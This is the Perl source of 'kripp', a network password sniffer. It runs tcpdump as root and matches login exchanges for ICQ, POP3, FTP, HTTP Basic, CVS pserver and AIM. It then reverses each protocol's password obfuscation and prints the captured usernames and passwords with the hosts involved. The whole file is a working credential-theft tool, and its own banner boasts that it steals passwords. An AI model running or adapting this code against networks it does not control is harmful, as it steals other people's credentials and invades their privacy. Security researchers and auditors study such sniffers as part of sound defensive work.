1#!/usr/local/bin/perl
2
3use IO::File;
4use MIME::Base64;
5
6glob @nets;
7
8glob $kripp_version = "0.6.1";
9glob $ninterface;
10
11my $netparams = {
12    icq => {
13	tcpdump => "dst host login.icq.com",
14	signature => '\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)',
15	ignore_case => 0
16    },
17    pop3 => {
18	tcpdump => "port pop3",
19	signature => '\+OK.*\n.*user\s+([^\n\r]+).+\+OK.*\n.*pass\s+([^\n\r]+).+\+OK',
20	ignore_case => 1
21    },
22    ftp => {
23	tcpdump => "port ftp",
24	signature => '220.+\n.*user\s+([^\n\r]+).*331.+\n.*pass\s+([^\n\r]+).+230',
25	ignore_case => 1
26    },
27    http => {
28	tcpdump => "port http",
29	signature => '\s+HTTP/.+\nAuthorization:\s+(Basic)\s+(.+)[\r]*\n|\s+HTTP/.+\nAuthorization:\s+(User)\s+(.+)[\r]*\n',
30	ignore_case => 0
31    },
32    cvs => {
33	tcpdump => "port cvspserver",
34	signature => 'BEGIN VERIFICATION REQUEST\n(.+\n.+)\n(.+)\nEND VERIFICATION REQUEST\nI LOVE YOU\n',
35	ignore_case => 0
36    },
37    aim => {
38	tcpdump => "dst host toc.oscar.aol.com",
39	signature => 'toc_signon [^\s]+ \d+ "([^"]+)" "([^"]+)" ',
40	ignore_case => 0
41    }
42};
43
44sub createnet {
45    if(`which tcpdump 2>&1` =~ m/no .+ in /) {
46	print "tcpdump(8) is needed to run kripp, please also make sure it's on your PATH\n";
47	exit;
48    }
49
50    my ($name) = @_;
51    my $tdi;
52
53    $un = `uname`;
54    chomp $un;
55
56    $tdi = "-i any" if $un eq "Linux";
57    $tdi = "-i $ninterface" if not $ninterface eq "";
58
59    my $fh = new IO::File;
60    my $command = "tcpdump -x -s 0 ".$tdi." -l -e '".$netparams->{$name}->{tcpdump}."' 2>/dev/null |";
61
62    $fh->open($command)
63	or die "cannot run tcpdump(8) for $name";
64
65    my $net = {
66	name => $name,
67	buf => {},
68	handle => $fh
69    };
70
71    push(@nets, $net);
72}
73
74sub decryptpassword {
75    my ($service, $login, $pass) = @_;
76
77    if($service eq "icq") {
78	my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92";
79	my $res = "";
80
81	for(my $i = 0; $i < length($pass); $i++) {
82	    $res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1)));
83	}
84	$pass = $res;
85
86    } elsif($service eq "aim") {
87	my $xorseq = "Tic/TocTic/TocTic/TocTic/Toc";
88	my $res = "";
89
90	substr($pass, 0, 2) = "";
91	for(my $i = 0; $i < length($pass); $i += 2) {
92	    $res .= chr(hex(substr($pass, $i, 2)));
93	}
94
95	$pass = $res;
96	$res = "";
97
98	for(my $i = 0; $i < length($pass); $i++) {
99	    $res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1)));
100	}
101
102	$pass = $res;
103
104    } elsif($service eq "http") {
105	if($login eq "Basic") {
106	    $pass = decode_base64($pass);
107	}
108
109	if($pass =~ m/^(.+):(.+)$/) {
110	    $login = $1;
111	    $pass = $2;
112	}
113    } elsif($service eq "cvs") {
114
115	my @shifts = (
116	    0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
117	    16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
118	    114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
119	    111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
120	    41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
121	    125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
122	    36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
123	    58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
124	    225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
125	    199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
126	    174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
127	    207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
128	    192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
129	    227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
130	    182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
131	    243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 );
132
133	if($login =~ m/^(.+)\n(.+)$/) {
134	    $login = "$2, $1";
135	}
136
137	my $res = "";
138
139	for(my $i = 1; $i < length($pass); $i++) {
140	    $res .= chr($shifts[ord(substr($pass, $i, 1))]);
141	}
142	$pass = $res;
143
144    }
145
146    return ($login, $pass);
147}
148
149sub version {
150    print "
151KRIPP: Kripp is Rest In Peace, Privacy; version $kripp_version
152Creepy enough to steal your password (tm)
153http://konst.org.ua/kripp/
154";
155}
156
157sub usage {
158    version;
159    print "
160Usage: $0 [ -i <interface> ] [ <net1> <net2> ... ]
161
162The --help and --version parameters work as usual,
163and --interface is an alias for -i.
164
165\"Net\" parameters can be icq, pop3, ftp, http, aim or cvs, i.e. protocols
166the program should steal passwords from. No parameters means all
167of the known networks.
168
169NOTE: kripp will work only from root account.
170
171";
172}
173
174while(@ARGV) {
175    $_ = $ARGV[0];
176
177    if($netparams->{$_}) {
178	createnet($_);
179    } elsif($_ eq "--help" or $_ eq "-h") {
180	usage; exit;
181    } elsif($_ eq "--version" or $_ eq "-v") {
182	version; exit;
183    } elsif($_ eq "--interface" or $_ eq "-i") {
184	shift @ARGV;
185	$ninterface = $ARGV[0];
186    } else {
187	print "Unrecognized parameter: $_\n";
188	usage;
189	exit;
190    }
191
192    shift @ARGV;
193}
194
195if($#nets == -1) {
196    foreach(keys %$netparams) {
197	createnet($_);
198    }
199}
200
201print "Protocols being kripped:";
202foreach(@nets) { print " ", $_->{name}; }
203print "\n";
204
205my ($hostFrom, $hostTo, $rin, $rout, $nextnet);
206my ($paccept, $nextdatalen, $packet) = (0, 0, "");
207
208while($#nets >= 0) {
209    for(my $i = 0; $i <= $#nets; $i++) {
210	vec($rin, $nets[$i]->{handle}->fileno, 1) = 1;
211    }
212
213    select($rout=$rin, undef, undef, undef);
214
215    for(my $i = 0; $i <= $#nets; $i++) {
216	$name = $nets[$i]->{name};
217
218	if(vec($rout, $nets[$i]->{handle}->fileno, 1)) {
219	    if($nets[$i]->{handle}->eof) {
220		print "$name has died\n";
221		splice @nets, $i, 1;
222
223	    } else {
224		$line = $nets[$i]->{handle}->getline;
225		chomp $line;
226
227		if($line =~ m/^[\d:.]+ ([<>]) [\w:]+ .+: (IP |)([\w.-]+) [<>] ([\w.-]+): (.+)$/) {
228		    if($nextdatalen) {
229			substr($packet, 0, length($packet)-$nextdatalen) = "";
230			$nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} .= $packet;
231			$nextname = $nets[$nextnet]->{name};
232
233			($packet, $nextdatalen) = ("", 0);
234
235			if(($netparams->{$nextname}->{ignore_case} and ($nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} =~ m/$netparams->{$nextname}->{signature}/is))
236			or (!$netparams->{$nextname}->{ignore_case} and ($nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} =~ m/$netparams->{$nextname}->{signature}/s))) {
237			    ($login, $password) = decryptpassword($nextname, $1, $2);
238			    print "$nextname password :: $hostFrom -> $hostTo :: $login :: $password\n";
239			    $nets[$nextnet]->{buf}->{$hostFrom}->{$hostTo} = "";
240			}
241		    }
242
243		    my $pt;
244
245		    if($1 eq ">") {
246			($hostFrom, $hostTo, $pt) = ($3, $4, $5);
247		    } else {
248			($hostFrom, $hostTo, $pt) = ($4, $3, $5);
249		    }
250
251		    $hostFrom =~ s/\.[\w]+$//;
252		    $hostTo =~ s/\.[\w]+$//;
253
254		    $paccept = 0;
255
256		    if($pt =~ m/P \d+:\d+\((\d+)\)/) {
257			($paccept, $nextdatalen, $nextnet) = (1, $1, $i);
258		    }
259
260		} elsif($paccept and ($line =~ m/^([\s\w]+)$/ or $line =~ m/^\s*[\d\wx:]+\s+([\d\s\w]+)\s\s/)) {
261		    $line = $1;
262		    $line =~ s/\s//g;
263
264		    while(length($line) > 0) {
265			my $c = chr(hex(substr($line, 0, 2)));
266			substr($line, 0, 2) = "";
267			$packet .= $c;
268		    }
269		}
270	    }
271	}
272    }
273}
274